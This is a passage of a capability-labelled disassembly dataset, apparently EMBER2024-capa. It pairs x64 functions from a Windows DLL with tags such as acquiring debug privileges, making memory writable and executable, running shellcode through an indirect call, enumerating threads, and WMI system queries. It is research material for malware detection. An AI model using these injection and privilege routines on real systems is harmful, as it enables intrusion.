joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180057b8c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rsi, rdx
mov rbx, rcx
xor r15d, r15d
mov dword [rbp - 0x30], r15d
mov r8d, dword [0x180148404]
mov rax, qword gs:[0x58]
mov rdi, qword [rax + r8*8]
mov r14d, 0x1438
mov eax, dword [r14 + rdi]
lea r13d, [r15 + 0xf]
lea r12d, [r15 + 1]
test r12b, al
jne 0x180057c95
or eax, r12d
mov dword [r14 + rdi], eax
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov qword [rbp - 8], r13
mov qword [rbp - 0x10], r15
mov byte [rbp - 0x20], r15b
xor r8d, r8d
lea rdx, [0x1800f6f18]
lea rcx, [rbp - 0x20]
call fcn.18000697c
nop
call fcn.180063888
call fcn.180063888
mov edx, 0xb0
add rdx, rdi
or dword [rdx + 0x1384], 0xffffffff
mov dword [rdx + 4], eax
mov r8d, r12d
lea r9, [rdx + 8]
mov r10d, 0x26f
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r8d
mov dword [r9], eax
add r8d, r12d
lea r9, [r9 + 4]
sub r10, r12
jne 0x180057c4b
mov dword [rdx], 0x270
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180057c89
inc rdx
mov r8, r12
mov rcx, qword [rbp - 0x20]
call fcn.1800062ec
mov qword [rbp - 8], r13
mov qword [rbp - 0x10], r15
mov byte [rbp - 0x20], r15b
mov eax, dword [r14 + rdi]
mov ecx, 0x1440
test al, 2
jne 0x180057cb6
or eax, 2
mov dword [r14 + rdi], eax
mov qword [rcx + rdi], r15
mov qword [rcx + rdi + 8], 0x33
mov eax, dword [r14 + rdi]
test al, 4
jne 0x180057cd7
or eax, 4
mov dword [r14 + rdi], eax
mov eax, 0x1450
mov qword [rax + rdi], r15
mov qword [rax + rdi + 8], 9
mov qword [rbx + 0x18], r13
mov qword [rbx + 0x10], r15
mov byte [rbx], r15b
mov dword [rbp - 0x30], r12d
mov r14, qword [rbx + 0x10]
cmp r14, rsi
ja 0x180057d23
cmp qword [rbx + 0x18], rsi
je 0x180057d23
mov r8b, r12b
mov rdx, rsi
mov rcx, rbx
call fcn.180006d2c
test al, al
je 0x180057d1e
mov qword [rbx + 0x10], r14
cmp qword [rbx + 0x18], 0x10
jb 0x180057d17
mov rax, qword [rbx]
jmp 0x180057d1a
mov rax, rbx
mov byte [rax + r14], r15b
mov ecx, 0x1440
test esi, esi
je 0x180057d5b
mov r14d, 0xb0
add r14, rdi
mov eax, ecx
add rdi, rax
mov rdx, r14
mov rcx, rdi
call fcn.180057f78
lea rcx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
mov r8b, byte [rax + rcx]
mov rdx, r12
mov rcx, rbx
call fcn.180006ba4
sub esi, r12d
jne 0x180057d35
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1800586a8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov rbx, rcx
mov edi, 0x7fffffff
mov esi, 0x9908b0df
mov r9, qword [rbx]
cmp dword [r9], 0x270
jne 0x180058712
lea r8, [r9 + 8]
mov r10d, 0x270
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, edi
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, esi
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x1800586da
jmp 0x1800587d0
cmp dword [r9], 0x4e0
jb 0x1800587d0
lea r10, [r9 + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r10 + 4]
xor edx, dword [r10]
and edx, edi
xor edx, dword [r10]
lea r10, [r10 + 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, esi
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub r11, 1
jne 0x18005872c
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov edx, dword [r10 + 4]
xor edx, dword [r10]
and edx, edi
xor edx, dword [r10]
lea r10, [r10 + 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, esi
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub r11, 1
jne 0x18005876b
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
and edx, edi
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, esi
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], r11d
mov eax, dword [r9]
mov edx, dword [r9 + rax*4 + 4]
inc eax
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov ecx, edx
mov eax, edx
and ecx, 0xffffdf8c
shl ecx, 0xf
xor rcx, rax
mov rax, rcx
shr rax, 0x12
xor rax, rcx
cmp rax, qword [rbx + 0x10]
ja 0x1800586c4
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
Function at 0x1800596a0
Capabilities:
Acquire debug privileges

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x40
xor eax, eax
lea rcx, str.Advapi32.dll
mov qword [r11 - 0x18], rax
mov qword [r11 - 0x10], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.OpenProcessToken
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call rbx
xor ebx, ebx
test eax, eax
je 0x180059767
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x18005975a
mov rax, qword [rsp + 0x58]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rdi
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x30]
mov r9d, 0x10
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
call rax
mov ebx, eax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180059774
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
mov rbp, rsp
sub rsp, 0x60
mov rdi, rcx
mov dword [rbp - 0x30], 0x48c03148
lea rcx, [0x1800faca8]
mov dword [rbp - 0x2c], 0x3148da31
mov dword [rbp - 0x28], 0x3e8b9c9
mov dword [rbp - 0x24], 0x1ba0000
mov dword [rbp - 0x20], 0x48000000
mov dword [rbp - 0x1c], 0x667788b8
mov dword [rbp - 0x18], 0x22334455
mov dword [rbp - 0x14], 0xebd0ff11
mov byte [rbp - 0x10], 0xdf
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1800facd0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [rbp - 0x1b], rax
call fcn.18005b0c4
lea rdx, [0x1800facb8]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov rdx, rsi
mov rbx, rax
mov rcx, rdi
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r15d, [r9 - 0x1f]
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp + 0x30]
mov r9d, r15d
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call rbx
test eax, eax
je 0x180059869
mov r9d, dword [rbp + 0x28]
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r8, r15
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x1800598b4
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor eax, eax
mov esi, edx
mov qword [rcx], rax
mov rbx, rcx
mov qword [rcx + 8], rax
xor edx, edx
lea ecx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
cmp dword [rsp + 0x2c], esi
je 0x18005990f
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x180059929
jmp 0x1800598f5
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbx], rax
mov eax, dword [rsp + 0x28]
mov dword [rbx + 8], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180059a30
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
xor ebx, ebx
mov r14, rdx
mov dword [rdx], ebx
mov rdi, rcx
cmp rcx, 0xffffffffffffffff
jne 0x180059a56
xor eax, eax
jmp 0x180059aa9
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov rsi, rbx
test eax, eax
je 0x180059a9d
mov ecx, eax
call fcn.1800599ec
mov dword [rsp + 0x50], ebx
mov rsi, rax
test rax, rax
je 0x180059a9a
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rbx
mov r8d, ebp
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [rsp + 0x50]
mov dword [r14], ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x180059abc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov edi, r8d
mov rsi, rdx
test rcx, rcx
jne 0x180059ada
xor eax, eax
jmp 0x180059b40
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180059ad6
and dword [rsp + 0x50], 0
test rsi, rsi
je 0x180059b33
test edi, edi
je 0x180059b33
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x18005b76c
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x180140f20]
xor rax, rsp
mov qword [rsp + 0x440], rax
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
add rax, rcx
mov qword [rsp + 0x30], rdx
mov r14, rcx
mov r9d, 0x8664
mov ecx, 0x88
lea r8d, [rbx + 0x78]
cmp word [rax + 4], r9w
cmove r8d, ecx
add r8, rax
mov eax, dword [r8]
lea rdi, [r14 + rax]
test eax, eax
je 0x18005b94a
cmp dword [r8 + 4], ebx
je 0x18005b94a
cmp dword [rdi + 0x1c], ebx
je 0x18005b94a
mov r13d, dword [rdi + 0x14]
test r13d, r13d
je 0x18005b94a
mov r12d, dword [rdi + 0x1c]
lea rax, [rdx - 1]
add r12, r14
mov rsi, rdx
mov qword [rsp + 0x28], r12
cmp rax, 0xfffe
jbe 0x18005b811
mov r13d, dword [rdi + 0x18]
mov esi, ebx
cmp dword [rdi + 0x24], ebx
je 0x18005b93c
mov ebp, dword [rdi + 0x24]
mov r15d, dword [rdi + 0x20]
add rbp, r14
add r15, r14
mov dword [rsp + 0x20], ebx
test r13d, r13d
je 0x18005b94a
test rsi, rsi
je 0x18005b850
movzx eax, word [rbp]
mov ecx, dword [rdi + 0x10]
add rcx, rax
mov eax, ebx
cmp rsi, rcx
sete al
jmp 0x18005b913
mov ecx, dword [r15]
add rcx, r14
test rdx, rdx
je 0x18005b876
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x18005b91b
movzx eax, word [rbp]
lea rbx, [r12 + rax*4]
jmp 0x18005b94a
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, dword [r15]
lea r11, [rsp + 0x40]
add r9, r14
mov dword [rsp + 0x24], eax
mov r8d, ebx
mov r10d, r8d
mov r12d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
and cl, 1
cmovne r10d, eax
or eax, 0xffffffff
add r12d, eax
jne 0x18005b897
mov dword [r11], r10d
inc r8d
add r11, 4
cmp r8d, 0xff
jbe 0x18005b88e
mov r12, qword [rsp + 0x28]
test r9, r9
je 0x18005b90a
mov r8d, dword [rsp + 0x24]
test r8d, r8d
je 0x18005b90a
mov edx, eax
movzx ecx, byte [r9]
add r8d, eax
movzx eax, dl
inc r9
xor rcx, rax
mov eax, edx
shr eax, 8
mov edx, dword [rsp + rcx*4 + 0x40]
xor edx, eax
mov eax, 0xffffffff
test r8d, r8d
jne 0x18005b8e1
not edx
jmp 0x18005b90c
mov edx, ebx
test edx, edx
jne 0x18005b91b
lea eax, [rdx + 1]
test eax, eax
jne 0x18005b869
mov eax, dword [rsp + 0x20]
add r15, 4
inc eax
add rbp, 2
mov dword [rsp + 0x20], eax
cmp eax, r13d
jae 0x18005b94a
mov rdx, qword [rsp + 0x30]
jmp 0x18005b834
test rsi, rsi
je 0x18005b94a
lea rbx, [r12 - 4]
lea rbx, [rbx + rsi*4]
mov rax, rbx
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1800871a0
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18005b978
Capabilities:
Enumerate pe sections
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r14, rcx
mov r15, rdx
mov ecx, 0x208
xor ebx, ebx
mov esi, 0x104
call fcn.1800abad8
mov rdi, rax
test rax, rax
je 0x18005ba00
mov r8d, esi
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, eax
test eax, eax
je 0x18005b9e5
cmp esi, eax
jne 0x18005b9e5
mov rcx, rdi
add esi, 0x104
call fcn.1800ab6a4
mov ecx, esi
add rcx, rcx
call fcn.1800abad8
mov rdi, rax
test rax, rax
jne 0x18005b9ac
test rdi, rdi
je 0x18005ba00
test ebp, ebp
jne 0x18005ba15
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov esi, eax
call fcn.1800ab6a4
jmp 0x18005ba05
mov esi, 8
test esi, esi
jne 0x18005bb23
mov rdi, qword [rsp + 0x88]
mov rdx, r15
mov rcx, r14
call fcn.18005b76c
mov r8, rax
test rax, rax
je 0x18005bb1b
movsxd r10, dword [r14 + 0x3c]
sub r8d, r14d
add r10, r14
movzx eax, word [r10 + 0x14]
lea r9, [r10 + 0x18]
movzx r11d, word [r10 + 6]
add r9, rax
cmp r8d, dword [r9 + 0xc]
jb 0x18005ba68
mov ecx, dword [r10 + 0x3c]
lea edx, [rcx - 1]
add edx, dword [r9 + 0x10]
lea eax, [rcx - 1]
not eax
and edx, eax
add edx, dword [r9 + 0xc]
cmp r8d, edx
jb 0x18005ba7d
add r9, 0x28
mov eax, 0xffff
add r11w, ax
je 0x18005bb1b
jmp 0x18005ba47
mov esi, dword [r9 + 0x14]
sub esi, dword [r9 + 0xc]
add esi, r8d
je 0x18005bb1b
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rdi
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x18005bb1b
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, esi
jne 0x18005bb12
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rbx
mov r8d, 4
lea rdx, [rsp + 0x88]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18005bb12
cmp dword [rsp + 0x80], 4
jne 0x18005bb12
mov ebx, dword [rsp + 0x88]
add rbx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.1800ab6a4
mov rax, rbx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x18005bb9c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
and qword [r11 - 0x28], 0
mov r14, rcx
and dword [r11 + 0x20], 0
lea rcx, [0x1800f50f8]
xor eax, eax
mov rsi, r8
mov dword [r11 + 0x24], eax
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1800faf40]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlNtStatusToDosError
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
and dword [rsp + 0x40], 0
mov rbx, rax
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov r8, rsi
lea rax, [rsp + 0x98]
mov rdx, rbp
mov qword [rsp + 0x28], rax
mov rcx, r14
and qword [rsp + 0x20], 0
call rdi
mov ecx, eax
call rbx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x18005c690
Capabilities:
Reference wmi statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rbx, rcx
xor edi, edi
mov dword [rbp - 0x50], edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], dil
lea r8d, [rdi + 4]
lea rdx, str.UUID
lea rcx, [rbp - 0x20]
call fcn.18000697c
nop
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
lea r8d, [rdi + 0x29]
lea rdx, str.SELECT__FROM_Win32_ComputerSystemProduct
lea rcx, [rbp - 0x40]
call fcn.18000697c
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.18005d350
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x28]
cmp rax, 0x10
jb 0x18005c77e
inc rax
mov rcx, qword [rbp - 0x40]
cmp rax, 0x1000
jb 0x18005c779
test cl, 0x1f
je 0x18005c74c
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005c75b
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005c76a
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005c776
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], 0
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x18005c7e4
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, 0x1000
jb 0x18005c7df
test cl, 0x1f
je 0x18005c7b2
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005c7c1
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005c7d0
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005c7dc
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], 0
mov rax, rbx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18005c810
Capabilities:
Reference wmi statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rbx, rcx
xor edi, edi
mov dword [rbp - 0x50], edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], dil
lea r8d, [rdi + 6]
lea rdx, str.Domain
lea rcx, [rbp - 0x20]
call fcn.18000697c
nop
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
lea r8d, [rdi + 0x23]
lea rdx, [0x1800fb120]
lea rcx, [rbp - 0x40]
call fcn.18000697c
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.18005d350
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x28]
cmp rax, 0x10
jb 0x18005c8fe
inc rax
mov rcx, qword [rbp - 0x40]
cmp rax, 0x1000
jb 0x18005c8f9
test cl, 0x1f
je 0x18005c8cc
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005c8db
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005c8ea
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005c8f6
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], 0
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x18005c964
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, 0x1000
jb 0x18005c95f
test cl, 0x1f
je 0x18005c932
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005c941
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005c950
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005c95c
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], 0
mov rax, rbx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18005c990
Capabilities:
Reference wmi statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rbx, rcx
xor edi, edi
mov dword [rbp - 0x50], edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], dil
lea r8d, [rdi + 4]
lea rdx, [0x1800fb144]
lea rcx, [rbp - 0x20]
call fcn.18000697c
nop
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
lea r8d, [rdi + 0x22]
lea rdx, [0x1800fb150]
lea rcx, [rbp - 0x40]
call fcn.18000697c
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.18005d350
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x28]
cmp rax, 0x10
jb 0x18005ca7e
inc rax
mov rcx, qword [rbp - 0x40]
cmp rax, 0x1000
jb 0x18005ca79
test cl, 0x1f
je 0x18005ca4c
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005ca5b
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005ca6a
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005ca76
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], 0
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x18005cae4
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, 0x1000
jb 0x18005cadf
test cl, 0x1f
je 0x18005cab2
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005cac1
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005cad0
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005cadc
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], 0
mov rax, rbx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18005cb10
Capabilities:
Reference wmi statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rbx, rcx
xor edi, edi
mov dword [rbp - 0x50], edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], dil
lea r8d, [rdi + 7]
lea rdx, [0x1800fb178]
lea rcx, [rbp - 0x20]
call fcn.18000697c
nop
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
lea r8d, [rdi + 0x24]
lea rdx, str.SELECT__FROM_Win32_OperatingSystem
lea rcx, [rbp - 0x40]
call fcn.18000697c
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.18005d350
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x28]
cmp rax, 0x10
jb 0x18005cbfe
inc rax
mov rcx, qword [rbp - 0x40]
cmp rax, 0x1000
jb 0x18005cbf9
test cl, 0x1f
je 0x18005cbcc
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005cbdb
